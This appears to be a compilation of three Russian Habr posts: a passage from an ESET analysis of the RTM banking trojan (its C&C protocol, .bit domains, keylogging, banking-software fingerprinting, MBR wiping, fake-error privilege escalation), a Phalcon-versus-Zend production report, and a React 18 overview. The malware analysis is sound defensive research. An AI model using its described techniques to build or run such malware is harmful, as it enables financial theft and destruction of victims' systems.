подключаются к С&С доменам, использующим домен верхнего уровня TLD .bit. Его нет в списке доменов верхнего уровня ICANN (Корпорации по управлению доменными именами и IP-адресами). Вместо этого, он использует систему Namecoin, построенную на основе технологии Bitcoin. Авторы вредоносного ПО не часто используют TLD .bit для своих доменов, хотя пример такого использования ранее наблюдался в версии бот-сети Necurs. В отличие от Bitcoin, пользователи распределенной базы Namecoin имеют возможность сохранять данные. Основное применение этой особенности – домен верхнего уровня .bit. Можно регистрировать домены, которые будут храниться в распределенной базе данных. Соответствующие записи в базе содержат IP-адреса, разрешенные доменом. Данный TLD «устойчив к цензуре», поскольку только регистрирующее лицо может изменить разрешение домена .bit. Это означает, что прекратить работу вредоносного домена при использовании этого вида TLD намного труднее. Троян RTM не встраивает ПО, необходимое для прочтения распределенной базы Namecoin. Он использует центральные серверы DNS, такие как dns.dot-bit.org или серверы OpenNic, для разрешения доменов .bit. Следовательно, он имеет ту же устойчивость, что и у серверов DNS. Мы наблюдали, что некоторые командные домены перестали определяться после упоминания в записи блога. Другое преимущество TLD .bit для хакеров – стоимость. Чтобы зарегистрировать домен, операторам нужно заплатить всего 0,01 НК, что соответствует 0,00185 долларов (на 5 декабря 2016 года). Для сравнения: домен.com стоит как минимум 10 долларов. **4.3.3. Протокол** Для связи с командным сервером RTM использует запросы HTTP POST с данными, форматированными при помощи пользовательского протокола. Значение пути всегда /r/z.php; пользовательский агент Mozilla/5.0 (совместимый; MSIE 9.0; Windows NT 6.1; Trident/5.0). В запросах на сервер данные форматируются, как следует далее, где значения смещения выражаются в байтах: ![image](https://habrastorage.org/r/w1560/files/fa9/ed7/ed1/fa9ed7ed1b5240279ea49e0ed8eff31e.png) Байты с 0 до 6 не кодируются; байты, начиная с 6, кодируются при помощи модифицированного алгоритма RC4. Структура пакета ответов командного сервера проще. Кодируются байты с 4 до размера пакета. ![image](https://habrastorage.org/r/w1560/files/740/5b6/e25/7405b6e250fc4f05b896e798c452fdb9.png) Список возможных значений байтов действия представлен в таблице ниже: ![image](https://habrastorage.org/r/w1560/files/934/186/62b/93418662b8fa4faeab378f8cba16036f.png) Вредоносная программа всегда вычисляет CRC32 расшифрованных данных и сравнивает полученное с тем, что представлено в пакете. Если они отличаются, троян сбрасывает пакет. Дополнительные данные могут содержать различные объекты, включая файл РЕ, файл для поиска в файловой системе или новые командные URL. **4.3.4. Панель** Мы заметили, что RTM использует панель на командных серверах. Скриншот ниже: ![image](https://habrastorage.org/r/w1560/files/918/0c9/9e8/9180c99e89e448d88a27397646c0cc14.png) **4.4. Характерный признак** RTM – типичный банковский троян. Неудивительно, что операторам нужна информация о системе жертвы. С одной стороны, бот собирает общие сведения об ОС. С другой – выясняет, содержит ли скомпрометированная система атрибуты, связанные с российскими системами ДБО. **4.4.1. Общая информация** Когда вредоносное ПО установлено или запущено после перезагрузки, на командный сервер уходит отчет, содержащий общую информацию, включая: * часовой пояс; * язык системы по умолчанию; * полномочия авторизованного пользователя; * уровень целостности процесса; * имя пользователя; * имя компьютера; * версию ОС; * дополнительные установленные модули; * установленную антивирусную программу; * список считывателей смарт-карт. **4.4.2 Система дистанционного банковского обслуживания** Типичная цель трояна – система ДБО, и RTM – не исключение. Один из модулей программы называется TBdo, он выполняет разные задачи, включая сканирование дисков и истории посещений. Сканируя диск, троян проверяет, установлено ли на машине банковское ПО. Полный список целевых программ – в таблице ниже. Обнаружив интересующий файл, программа отправляет информацию на командный сервер. Следующие действия зависит от логики, заданной алгоритмами командного центра (С&С). ![image](https://habrastorage.org/r/w1560/files/941/24b/584/94124b584ee442149d3d61369f592158.png) RTM ищет также шаблоны URL адресов в истории посещений браузера и в открытых вкладках. Кроме того, программа изучает использование функций FindNextUrlCacheEntryA и FindFirstUrlCacheEntryA, а также проверяет каждый вход на соответствие URL адресам одному из нижеперечисленных шаблонов: ![image](https://habrastorage.org/r/w1560/files/5b8/0ed/740/5b80ed740d0e475e9fd0dd36705f812a.png) Обнаружив открытые вкладки, троян обращается к Internet Explorer или Firefox через механизм динамического обмена данными (DDE), чтобы проверить, соответствует ли вкладка шаблону. Проверка истории посещений и открытых вкладок выполняется в цикле WHILE (цикле с предусловием) с перерывом в 1 секунду между проверками. Другие данные, которые отслеживаются в режиме реального времени, рассмотрим в разделе 4.5. Если шаблон найден, программа сообщает об этом на командный сервер при помощи списка строк из следующей таблицы: ![image](https://habrastorage.org/r/w1560/files/69e/f2e/a32/69ef2ea323b04efba693d6243c5f5fcd.png) **4.5 Мониторинг** Во время работы трояна информация о характерных особенностях зараженной системы (включая данные о наличии банковского ПО) отправляется на командный сервер. Снятие цифровых отпечатков происходит, когда RTM впервые запускает систему мониторинга сразу после исходного сканирования ОС. **4.5.1. Дистанционное банковское обслуживание** Модуль TBdo также отвечает за мониторинг процессов, связанных с банкингом. Он использует динамический обмен данными, чтобы в момент первоначального сканирования проверить вкладки в Firefox и Internet Explorer. Другой модуль TShell используется для мониторинга командных окон (Internet Explorer или проводника). Модуль использует интерфейсы COM IShellWindows, iWebBrowser, DWebBrowserEvents2 и IConnectionPointContainer для мониторинга окон. Когда пользователь переходит на новую веб-страницу, вредоносная программа отмечает это. Затем она сравнивает URL адрес страницы с вышеперечисленными шаблонами. Обнаружив совпадение, троян делает шесть последовательных скриншотов с интервалом в 5 секунд и отправляет их на командный сервер С&С. Программа также проверяет некоторые названия окон, относящихся к банковскому ПО – полный список ниже: ![image](https://habrastorage.org/r/w1560/files/3dc/2c1/ca6/3dc2c1ca61da44149971f153d512881f.png) **4.5.2. Смарт-карта** RTM позволяет мониторить считыватели смарт-карт, соединенных с зараженными компьютерами. Эти устройства используются в некоторых странах для сверки платежных поручений. Если устройства этого типа присоединяются к компьютеру, для трояна это может указывать на использование машины для банковских транзакций. В отличие от других банковских троянов, RTM не может взаимодействовать с такими смарт-картами. Возможно, этот функционал входит в дополнительный модуль, который мы пока не видели. **4.5.3. Клавиатурный шпион** Важная часть мониторинга зараженного ПК – перехват нажатия клавиш. Создается впечатление, что разработчики RTM не пропускают никакой информации, поскольку отслеживают не только обычные клавиши, но и виртуальную клавиатуру и буфер обмена. Для этого используется функция SetWindowsHookExA. Атакующие регистрируют нажатые клавиши или клавиши, соответствующие виртуальной клавиатуре, вместе с именем и датой программы. Затем буфер направляется на командный C&C сервер. Для перехвата буфера обмена используется функция SetClipboardViewer. Хакеры регистрируют содержимое буфера обмена, когда данные представляют собой текст. Перед отправкой буфера на сервер также регистрируется имя и дата. **4.5.4. Скриншоты** Еще одна функция RTM – перехват скриншотов. Возможность применяется, когда модуль мониторинга окон обнаруживает интересующий сайт или банковское ПО. Скриншоты выполняются при помощи библиотеки графических изображений и передаются на командный сервер. **4.6. Деинсталляция** C&C сервер может приостановить работу вредоносного ПО и очистить компьютер. Команда позволяет очистить файлы и записи реестра, созданные во время работы RTM. Затем при помощи DLL-библиотеки осуществляется удаление вредоносного ПО и файла winlogon, после чего команда выключает компьютер. Как показано на рисунке ниже, DLL-библиотека удаляется разработчиками при помощи erase.dll. ![image](https://habrastorage.org/r/w1560/files/5b0/7f2/186/5b07f21863f049dcb9d77fecf5da8235.png) Сервер может отправить трояну деструктивную команду uninstall-lock. В этом случае при наличии прав администратора RTM удалит загрузочный сектор MBR на жестком диске. Если это не получится, троян попытается сместить загрузочный сектор MBR на случайный сектор – тогда компьютер после выключения не сможет загрузить ОС. Это может привести к полной переустановке ОС, то есть уничтожению улик. В отсутствие полномочий администратора вредоносное ПО записывает .EXE, закодированный в основной библиотеке DLL RTM. Исполняемый файл выполняет код, необходимый для выключения компьютера, и регистрирует модуль в разделе реестра HKCU\CurrentVersion\Run. Каждый раз, когда пользователь начинает сессию, компьютер немедленно выключается. **4.7. Файл конфигурации** По умолчанию, RTM почти не имеет файла конфигурации, но командный сервер может отправить значения конфигурации, которые будут храниться в реестре и использоваться программой. Список ключей конфигурации представлен в таблице ниже: ![image](https://habrastorage.org/r/w1560/files/283/ea5/5e5/283ea55e5fca4b8d853481a49c199c96.png) Конфигурация хранится в ключе реестра Software[Pseudo-random string]. Каждое значение соответствует одной из строк, представленных в предыдущей таблице. Значения и данные кодируются при помощи алгоритма RC4 в RTM. Данные имеют ту же структуру, что сеть или строки. Четырехбайтный ключ XOR добавляется в начале кодированных данных. Для значений конфигурации ключ XOR отличается и зависит от размера значения. Он может вычисляться следующим образом: xor\_key = (len(config\_value) << 24) | (len(config\_value) << 16) | len(config\_value)| (len(config\_value) << 8) **4.8. Другие функции** Далее рассмотрим другие функции, которые поддерживает RTM. **4.8.1. Дополнительные модули** Троян включает дополнительные модули, являющиеся файлами DLL. Модули, отправляемые с командного C&C сервера, могут выполняться как внешние программы, отражаться в оперативной памяти и запускаться в новых потоках. Для хранения модули сохраняются в файлах .dtt и кодируются при помощи алгоритма RC4 с тем же ключом, который используется для коммуникаций сети. Пока мы наблюдали установку модуля VNC (8966319882494077C21F66A8354E2CBCA0370464), модуля извлечения данных браузера (03DE8622BE6B2F75A364A275995C3411626C4D9F) и модуля 1c\_2\_kl (B1EE562E1F69EFC6FBA58B88753BE7D0B3E4CFAB). Для загрузки модуля VNC командный сервер направляет команду, запрашивая соединения с сервером VNC по определенному IP-адресу в порте 44443. Плагин извлечения данных браузера выполняет TBrowserDataCollector, который может считывать историю посещений IE. Затем отправляет полный список посещенных URL адресов на командный С&C сервер. Последний обнаруженный модуль называется 1c\_2\_kl. Он может взаимодействовать с программным пакетом 1C Предприятие. Модуль включает две части: основную часть – DLL и два агента (32-х и 64-х битные), которые будут внедряться в каждый процесс, регистрируя привязку к WH\_CBT. Внедрившись в процесс 1C, модуль привязывает функции CreateFile и WriteFile. Когда бы не вызывалась привязанная функция CreateFile, модуль хранит в памяти путь файла 1c\_to\_kl.txt. После перехвата вызова WriteFile, он вызывает функцию WriteFile и отправляет путь файла 1c\_to\_kl.txt на основной модуль DLL, передавая ему созданное сообщение Windows WM\_COPYDATA. Основной модуль DLL открывает и анализирует файл для определения платежных поручений. Он распознает сумму и номер транзакций, содержащиеся в файле. Эта информация направляется на командный сервер. Мы считаем, что этот модуль в данный момент находится в разработке, поскольку он содержит сообщение об отладке и не может автоматически модифицировать 1c\_to\_kl.txt. **4.8.2. Повышение привилегий** RTM может пытаться повысить привилегии, показывая ложные сообщения об ошибке. Малварь имитирует проверку реестра (см. рисунок ниже) или использует настоящую иконку редактора реестра. Обратите внимание на ошибку в написании wait – whait. Через несколько секунд сканирования программа выводит ложное сообщение об ошибке. ![image](https://habrastorage.org/r/w1560/files/01c/db1/22e/01cdb122ee9f4abaa91b63154d328081.png) ![image](https://habrastorage.org/r/w1560/files/607/72a/905/60772a9058e34ffba3bfbd4942477cc6.png) Ложное сообщение легко обманет обычного пользователя, несмотря на грамматические ошибки. Если пользователь нажмет на одну из двух ссылок, RTM попытается повысить свои привилегии в системе. После выбора одного из двух вариантов восстановления, троян запускает DLL при помощи опции runas в функции ShellExecute с полномочиями администратора. Пользователь увидит настоящий запрос Windows (см. рисунок ниже) о повышении полномочий. Если пользователь даст необходимые разрешения, троян будет работать с привилегиями администратора. ![image](https://habrastorage.org/r/w1560/files/d44/e99/191/d44e9919145d4045b10413dbb46c2773.png) В зависимости от языка по умолчанию, установленного в системе, троян показывает сообщения об ошибке на русском или английском. **4.8.3. Сертификат** RTM может добавлять сертификаты в Windows Store и подтверждать надежность добавления автоматическим нажатием на кнопку «да» в диалоговом окне csrss.exe. Такое поведение не является новым, например, банковский троян Retefe тоже самостоятельно подтверждает установку нового сертификата. **4.8.4. Обратное соединение** Авторы RTM также создали туннель Backconnect TCP. Пока мы не видели функцию в эксплуатации, но она предназначена для дистанционного контроля зараженных ПК. **4.8.5. Управление файлом узла** Командный C&C сервер может отправлять трояну команду модифицировать файл узла Windows. Файл узла используется для создания пользовательских разрешений DNS. **4.8.6. Найти и отправить файл** Сервер может запросить поиск и загрузку файла в зараженной системе. Например, в ходе исследования мы получили запрос файла 1c\_to\_kl.txt. Как ранее описывалось, этот файл генерирует система бухгалтерского учета 1C: Предприятие 8. **4.8.7. Обновление** Наконец, авторы RTM могут обновлять ПО, отправляя новый DLL на смену текущей версии. **5. Заключение** Исследование RTM показывает, что российская банковская система до сих пор привлекает киберзлоумышленников. Такие группировки как Buhtrap, Corkow и Carbanak успешно крадут деньги у финансовых учреждений и их клиентов в России. RTM – новый игрок в этой индустрии. По данным телеметрии ESET, вредоносные инструменты RTM применяются как минимум с конца 2015 года. Программа обладает полным диапазоном шпионских возможностей, включая чтение смарт-карт, перехват нажатия клавиш и мониторинг банковских операций, а также поиск транспортных файлов 1C: Предприятиe 8. Использование децентрализованного нецензурируемого домена верхнего уровня .bit обеспечивает высокую устойчивость инфраструктуры.
https://habr.com/ru/post/322364/
null
ru
null
# Phalcon Framework на продакшене Последним временем известность набирает необычный в среде php фреймворк Phalcon, который является расширением языка. Думаю, что многим интересно узнать, каков фреймворк в бою, однако по тем или иным причинам не могут позволить себе использовать его в разработке. В моей компании решились на такую авантюру и я спешу поделиться увиденным и нащупанным. Добро пожаловать под кат. #### Откуда ноги растут В компании есть проект, для которого требуется диспетчер. Грубо говоря, это механизм проксирования и балансировки виджетов в зависимости от предпочтения пользователя. Текущий диспетчер достался в наследство толи от инков, толи ацтеков, что породило внутри коллектива убеждения, что диспетчер был всегда и без него будет тоже, что с Землёй без календаря Майя. Иными же словами, код страшен, запутан, но работает и требует поддержки. Написан диспетчер на Zend Framework 1, расположен код на нодах Amazon, а именно на c3.xlarge, используется APC. При пиковых нагрузках доходит до 8-10 тысяч хитов в минуту и в такие моменты работают 5 нод. Меня это положение вещей совсем не устраивало, так как сам диспетчер не содержит в себе сложного функционала, работа с БД на примитивном уровне, результаты которой кешируются, да и все, что можно — сложено в кеш. Основная нагрузка — это php и Zend. От php отказаться не получится, а вот со вторым вариантом можно попробовать, тем более что для диспетчера мощности и гибкости фреймворка совершенно не требовалось, а на первом месте в приоритете стояла скорость работы и потребление ресурсов. За ходом разработки Phalcon я следил давно, потому что его [benchmark](http://www.techempower.com/benchmarks/#section=data-r6&hw=i7&test=db&l=sg), [еще](http://docs.phalconphp.com/en/latest/reference/benchmark/hello-world.html), и [и еще](http://docs.phalconphp.com/en/latest/reference/benchmark/micro.html) мне очень нравились и хотелось попробовать его в чем-то нагруженном. Что ж, настал его черёд и я на скорую руку, переписав критично важный код диспетчера на Phalcon, решил погонять его на тестовой ноде (m3.medium) с APC. Для тестирования я использовал [jmeter](http://jmeter.apache.org/), создал простые нагрузочные тесты и запустил их в 500 потоков. Нагрузочное тестирование показало, что расход памяти уменьшился в два раза, по сравнению с Zend. Мерял каждый запрос с помощью memory\_get\_usage(). Так как тогда я не думал, что я буду писать статью, потому не сделал скриншоты консоли и графиков амазона. Приведу сравнение в таблице: | Framework | Threads | Loop | Hits | Max load average | Test runtime | Average response, ms | Median, ms | Min, ms | Error | | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | | Zend | 500 | 60 | 30000 | 125 | 03:30:00 | 3,083 | 2,028 | 271 | 2.83% | | Phalcon | 500 | 60 | 30000 | 76 | 01:55:00 | 1,549 | 947 | 138 | 0.86% | ##### Релиз Результаты порадовали и было решено переносить проект на Phalcon. После небольшого рефакторинга кода, внедрения DI контейнера код был протестирован и готов к продакшену. Хочу подчеркнуть, что код не был значительно оптимизирован, во многих местах код получил только косметический рефакторинг. Когда настал час «Ч» с замиранием сердца выкатил на ноды код и стал мониторить за состоянием системы. Вот какой график получился: ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/cfa/efb/fb5/cfaefbfb5cbf7a04229e845bb161c5f6.png) Что мы видим: релиз был в пиковое время по нагрузке — работало 5 нод на Zend, c нагрузкой по CPU под 80%. После обновления 5 нод на Phalcon, нагрузка упала ниже 20%. На графике видно, что есть возврат к 5 нодам Zend — это было сделано для того, чтобы убедиться, что все графики мониторинга Zend совпадают с Phalcon. Все было хорошо, потому решил отключить три ноды и посмотреть, как будет справляться Phalcon. Две ноды использовали чуть более 45% CPU, что позволило попробовать авантюру и оставить одну ноду. CPU упёрлось в 100% и пошли 500-е ошибки, однако проблема была не с Phalcon, а с Nginx, которому стало тяжело держать большое количество соединений. Сразу же вернул в балансировщик одну ноду, и поставил себе задачу на будущее подкрутить Nginx. Замена Zend на Phalcon позволила перейти с 5 нод на 2 ноды, что снизило расходы на Amazon, а также облегчило деплой и мониторинг системы. ##### Несколько слов о самом фреймворке Не буду описывать сам фреймворк, так как [документация](http://docs.phalconphp.com/en/latest/index.html) на сайте хорошая, есть на русском и цель статьи другая. На момент рефакторинга, актуальная версия фреймворка была 1.2.6, которая и использовалась. Фреймворк нисколько не показался сырым — никаких багов с функционалом, который нам требовался замечено не было. Также замечу, что Phalcon умеет достаточно много чего и работало все в соответствии с документацией. Использовал работу с моделями со встроенным Active Record. Модели мощные, умеют много чего — валидация, кеширование, связи, виртуальные внешние ключи и так далее. Для изощренных запросов есть свой мета-язык [PHQL](http://docs.phalconphp.com/en/latest/reference/phql.html). Для заинтересовавшихся — [ссылка](http://docs.phalconphp.com/en/latest/reference/models.html) на документацию. Во время разработки были проблемы с кешом — в какой-то момент я заметил, что очень странно кешируются данные, соединение с memcache происходит более одного раза, не всегда кеш есть, хотя в memcache данные попадают. Проблема оказалась в том, что я не верно использовал DI container. Я кеш добавлял через метод set(), и при обращении к DI контейнеру каждый раз получал новый экземпляр класса, с новым соединением к мемкешу. А для того, чтобы возвращался каждый раз один и тот же объект, нужно класть его в контейнер вот так: `$di->setShared('cache', $cacheObject);` Исправив ошибку, все заработало как ожидалось. Данный подход позволил отказаться от всех Singleton в проекте, что и было с удовольствием сделано. После релиза, вышла в свет следующая версия фреймворка — 1.3, которая без проблем установилась и работала с кодом проекта. Пришлось подправить только пару мест с DI контейнером, чтобы завести приложение. ##### Работа с CLI Работа с консольными тасками в Phalcon совсем простая и пока что не имеет больших возможностей, по сравнению, например с Zend. Нет возможности указать параметры по умолчанию, а обязательные — попросить дописать при вызове таска прямо в консоли. Работа с параметрами сводиться к самостоятельному парсингу `$argv;` Также нет никаких красивостей с цветными текстами, фонами, так что разукрасить консоль радугой не получится. Но с другой стороны, хоть функционал не богат, но все же свою функцию исполняет. А со временем появятся примочки и свистелки. ##### Немного дёгтя Расстроило отсутствие в фреймворке элементарного LogNull для логирования, который пришлось дописать на php. Также удивило отсутствие возможности мерджить конфиги. UPD: как подсказали в комментарии — возможность [есть](http://docs.phalconphp.com/ru/latest/api/Phalcon_Config.html) Из недостатков, которые могут быть для кого-то серьёзным аргументом отказаться — это невозможность поправить код фреймворка. Если вы обнаружите уязвимость, то ничего не сможете с этим сделать — исходники скомпилированы. Однако разработчики переписывают Phalcon на [Zephir](http://zephir-lang.com/) (подробнее о Zephir попытаюсь написать отдельную статью), что даст возможность править сам фреймворк, а также писать для него расширения на C. Это будет сделано в версии Phalcon 2.0, которая на сегодня имеет состояние Beta 1. Надеюсь, что в скором времени мы увидим стабильный релиз. Есть что ещё рассказать о фреймворке, однако думаю, что это тема для отдельной статьи, потому подведу вкратце итог использования на нагруженном проекте Phalcon: — производительность не сравнимая с Zend (аналогичными php фреймворками) — прост в изучении, если есть опыт работы с фреймворками — фреймворк не выглядит сырым и недоделаным, однако есть куда расти и развиваться — невозможно поправить код фреймворка
https://habr.com/ru/post/225851/
null
ru
null
# React 18 В нашем последнем посте мы поделились пошаговыми инструкциями по [обновлению вашего приложения до React 18](https://reactjs.org/blog/2022/03/08/react-18-upgrade-guide.html). В текущем посте мы дадим обзор того, что нового появилось в React 18, и что это означает для будущего. Наша последняя мажорная версия включает в себя такие улучшения, как автоматическое пакетирование, новые API, такие как startTransition, и потоковый серверный рендеринг с поддержкой Suspense. Многие функционалы в React 18 построены на основе нашего нового конкурентного рендеринга - закулисного изменения, которое открывает новые мощные возможности. Concurrent React является опциональным - он включается только при использовании concurrent функционала - но мы считаем, что он окажет большое влияние на то, как люди создают приложения. Мы потратили годы на исследование и разработку поддержки конкурентности в React, и мы позаботились о том, чтобы обеспечить постепенное внедрение для существующих пользователей. Прошлым летом [мы создали рабочую группу React 18](https://reactjs.org/blog/2021/06/08/the-plan-for-react-18.html), чтобы собрать отзывы экспертов сообщества и обеспечить плавное обновление для всей экосистемы React. Если вы пропустили, мы поделились этим видением на React Conf 2021: * В [ключевом докладе](https://www.youtube.com/watch?v=FZ0cG47msEk&list=PLNG_1j3cPCaZZ7etkzWA7JfdmKWT0pMsa) мы объяснили, как React 18 вписывается в нашу миссию - облегчить разработчикам обеспечение отличного пользовательского опыта. * [Шрути Капур](https://twitter.com/shrutikapoor08) [продемонстрировал, как использовать новые возможности в React 18](https://www.youtube.com/watch?v=ytudH8je5ko&list=PLNG_1j3cPCaZZ7etkzWA7JfdmKWT0pMsa&index=2) * [Шаундай Персон](https://twitter.com/shaundai) сделал нам обзор [потокового серверного рендеринга с помощью Suspense](https://www.youtube.com/watch?v=pj5N-Khihgc&list=PLNG_1j3cPCaZZ7etkzWA7JfdmKWT0pMsa&index=3). Ниже приведен полный обзор того, что ожидается в этом релизе, начиная с Concurrent Rendering. *Примечание для пользователей React Native: React 18 будет поставляться в React Native с New React Native Architecture. Для получения дополнительной информации смотрите* [*React Conf keynote here*](https://www.youtube.com/watch?v=FZ0cG47msEk&t=1530s)*.* Что такое Concurrent React? --------------------------- Самое важное дополнение в React 18 - это то, о чем, как мы надеемся, вам никогда не придется думать: конкурентность. Мы думаем, что это в основном относится к разработчикам приложений, хотя для сопровождающих библиотек история может иметь ещё большее отношение. Конкурентность - это не функциональность, как таковая. Это новый закулисный механизм, который позволяет React подготавливать несколько версий пользовательского интерфейса одновременно. Вы можете рассматривать конкурентность как деталь реализации - он ценен благодаря возможностям, которые он открывает. React использует сложные методы в своей внутренней реализации, такие как приоритетные очереди и множественная буферизация. Но вы нигде не увидите эти концепции в наших публичных API. Когда мы разрабатываем API, мы стараемся скрыть детали реализации от разработчиков. Как разработчик React, вы сосредоточены на том, *как* вы хотите, чтобы выглядел пользовательский опыт, а React выполняет обработку чтобы обеспечить этот опыт. Поэтому мы не ожидаем, что разработчики React будут знать, как работает конкурентность под капотом. Однако Concurrent React это нечто большее, чем просто деталь реализации - это фундаментальное обновление основной модели рендеринга React. Поэтому, хотя не так уж важно знать, как работает конкурентность, возможно стоит знать, что это такое на верхнем уровне. Ключевым свойством Concurrent React является то, что рендеринг является прерываемым. При первом обновлении до React 18, до добавления каких-либо конкурентных функционалов, обновления рендерятся так же, как и в предыдущих версиях React - в одной, непрерывной, синхронной транзакции. При синхронном рендеринге, как только обновление начинает рендеринг, ничто не может прервать его, пока пользователь не увидит результат на экране. При конкурентном рендеринге это не всегда так. React может начать рендеринг обновления, приостановить его в середине, а затем продолжить позже. Он может даже полностью прекратить текущий рендеринг. React гарантирует, что пользовательский интерфейс будет выглядеть единообразно, даже если рендеринг прерван. Для этого он откладывает выполнение мутаций DOM до конца, когда все дерево будет вычислено. Благодаря этой возможности React может подготавливать новые экраны в фоновом режиме, не блокируя основной поток. Это означает, что пользовательский интерфейс может немедленно реагировать на ввод пользователя, даже если он находится в середине большой задачи рендеринга, создавая плавный пользовательский опыт. Другой пример - многократно используемое состояние. Concurrent React может удалять части пользовательского интерфейса с экрана, а затем добавлять их обратно, повторно используя предыдущее состояние. Например, когда пользователь уходит с текущего экрана и возвращается обратно, React должен иметь возможность восстановить предыдущий экран в том же состоянии, в котором он был до этого. В одном из ближайших обновлений мы планируем добавить новый компонент под названием , который реализует этот паттерн. Аналогично, вы сможете использовать Offscreen для подготовки нового пользовательского интерфейса в фоновом режиме, чтобы он был готов до того, как пользователь откроет его. Конкурентный рендеринг - это новый мощный инструмент в React, и большинство наших новых функций, включая Suspense, переходы и потоковый серверный рендеринг, созданы для его использования. Но React 18 - это только начало того, что мы хотим построить на этом новом фундаменте. Постепенное внедрение функций конкурентного рендеринга ------------------------------------------------------ Технически, конкурентный рендеринг - это ломающее изменение. Поскольку конкурентный рендеринг является прерывистым, компоненты ведут себя несколько иначе, когда он включен. В ходе нашего тестирования мы обновили тысячи компонентов до React 18. Мы обнаружили, что почти все существующие компоненты "просто работают" с конкурентным рендерингом без каких-либо изменений. Однако некоторые из них могут потребовать дополнительных усилий по миграции. Так как изменения обычно небольшие, у вас будет возможность вносить их в своем собственном темпе. Новое поведение рендеринга в React 18 *включается только в тех частях вашего приложения, которые используют эти новые функционалы*. Общая стратегия обновления заключается в том, чтобы заставить ваше приложение работать на React 18, не ломая существующий код. Затем вы можете постепенно начать добавлять конкурентные возможности в своем собственном темпе. Вы можете использовать , чтобы помочь выявить ошибки, связанные с конкурентностью, во время разработки. Строгий режим не влияет на поведение в эксплуатации, но во время разработки он будет выдавать дополнительные предупреждения и дважды вызывать функции, которые должны быть идемпотентными. Он не отлавливает всё, но эффективно предотвращает наиболее распространенные типы ошибок. После обновления до React 18 вы сможете сразу же начать использовать функционалы конкурентной работы. Например, вы можете использовать `startTransition` для перехода между экранами, не блокируя ввод данных пользователем. Или `useDeferredValue` для уменьшения частоты дорогостоящего повторного рендеринга. Однако в долгосрочной перспективе мы ожидаем, что основным способом добавления конкурентности в ваше приложение будет использование библиотеки или фреймворка с поддержкой конкурентности. В большинстве случаев вы не будете взаимодействовать с конкурентными API напрямую. Например, вместо того чтобы разработчики вызывали startTransition при каждом переходе на новый экран, библиотеки маршрутизации будут автоматически оборачивать переходы в startTransition. Обновление библиотек до совместимости с конкурентностью может занять некоторое время. Мы предоставили новые API, чтобы библиотекам было проще использовать преимущества конкурентного функционала. Тем временем, пожалуйста, будьте терпеливы с сопровождающими, пока мы работаем над постепенной миграцией экосистемы React. Для получения дополнительной информации см. наш предыдущий пост: [Как перейти на React 18](https://reactjs.org/blog/2022/03/08/react-18-upgrade-guide.html). Suspense во фреймворках данных ------------------------------ В React 18 вы можете начать использовать Suspense для выборки данных в специализированных фреймворках, таких как Relay, Next.js, Hydrogen или Remix. Ситуативная выборка данных с помощью Suspense технически возможна, но все же не рекомендуется в качестве общей стратегии. В будущем мы можем раскрыть дополнительные примитивы, которые упростят доступ к данным с помощью Suspense, возможно, без использования фреймворка. Однако Suspense работает лучше всего, когда он глубоко интегрирован в архитектуру вашего приложения: ваш маршрутизатор, ваш слой данных и ваше окружение серверного рендеринга. Поэтому даже в долгосрочной перспективе мы ожидаем, что библиотеки и фреймворки будут играть решающую роль в экосистеме React. Как и в предыдущих версиях React, вы также можете использовать Suspense для разделения кода на клиенте с помощью React.lazy. Но наше видение Suspense всегда было связано с гораздо большим, чем загрузка кода - цель заключается в расширении поддержки Suspense, чтобы в конечном итоге один и тот же декларативный fallback Suspense мог обрабатывать любые асинхронные операции (загрузка кода, данных, изображений и т.д.). Серверные компоненты все еще в разработке ----------------------------------------- [**Серверные компоненты**](https://reactjs.org/blog/2020/12/21/data-fetching-with-react-server-components.html) - это будущий новый функционал, который позволит разработчикам создавать приложения, охватывающие сервер и клиент, сочетая богатую интерактивность приложений на стороне клиента с повышенной производительностью традиционного серверного рендеринга. Server Components по своей сути не связаны с Concurrent React, но они предназначены для работы с такими возможностями, как Suspense и потоковый серверный рендеринг. Server Components все еще являются экспериментальными, но мы ожидаем выпустить начальную версию в минорном релизе 18.x. Тем временем мы работаем с такими фреймворками, как Next.js, Hydrogen и Remix, чтобы продвинуть то что мы предлагаем и подготовить к широкому внедрению. Что нового в React 18 --------------------- ### Новый функционал: Automatic Batching (автоматическое пакетирование) Пакетирование (batching) - это когда React группирует несколько обновлений состояния в один повторный рендеринг для повышения производительности. В отсутствии автоматического пакетирования мы пакетировали только обновления внутри обработчиков событий React. Обновления внутри промисов, setTimeout, нативных обработчиках событий или любые другие события в React по умолчанию не пакетировались. При автоматическом пакетировании эти обновления будут пакетироваться автоматически: ``` // Раньше: только события React пакетировались setTimeout(() => { setCount(c => c + 1); setFlag(f => !f); // React выполнит рендеринг дважды, один для каждого обновления состояния (т.е. пакетирование отсутствует) }, 1000); // Теперь: обновления внутри setTimeout, промисах, нативных обработчиках событий или любые другие события - пакетируются setTimeout(() => { setCount(c => c + 1); setFlag(f => !f); // React выполнит только один пере-рендер в конце (это и есть пакетирование!) }, 1000); ``` Для получения дополнительной информации смотрите этот пост [Automatic batching for fewer renders in React 18](https://github.com/reactwg/react-18/discussions/21). ### Новый функционал: Transitions (переходы) Переход - это новая концепция в React для разграничения срочных и не срочных обновлений. * **Срочные обновления** отражают прямое взаимодействие, например, ввод текста, клик, нажатие клавиши и так далее. * **Переходные обновления** переводят пользовательский интерфейс из одного представления в другое. Срочные обновления, такие как ввод текста, щелчок или нажатие клавиши, требуют немедленной реакции, чтобы соответствовать нашим интуитивным представлениям о поведении физических объектов. В противном случае они ощущаются как "неправильные". В то же время, переходы отличаются тем, что пользователь не ожидает увидеть на экране каждое промежуточное значение. Например, когда вы выбираете фильтр в выпадающем списке, вы ожидаете, что сама кнопка фильтра будет немедленно реагировать на ваш щелчок. Однако фактические результаты могут появляться (transition) позднее. Небольшая задержка будет незаметна и часто ожидаема. И если вы снова измените фильтр до того, как результаты будут отображены, вы увидите только последние результаты. Как правило, для наилучшего пользовательского опыта один пользовательский ввод должен приводить как к срочному обновлению, так и к не срочному. Вы можете использовать API startTransition внутри обработчика события ввода, чтобы сообщить React, какие обновления являются срочными, а какие "переходными": ``` import {startTransition} from 'react'; // Срочно: Отобразить то что было введено пользователем setInputValue(input); // Любые изменения состояния внутри помечаются как переходные startTransition(() => { // Transition: Show the results setSearchQuery(input); }); ``` Обновления, обернутые в startTransition, обрабатываются как не срочные и будут прерваны, если поступят более срочные обновления, такие как щелчки или нажатия клавиш. Если переход будет прерван пользователем (например, при вводе нескольких символов подряд), React отбросит незаконченную работу по рендерингу и отобразит только последнее обновление. * `useTransition`: хук для запуска переходов, включающий значение для отслеживания состояния 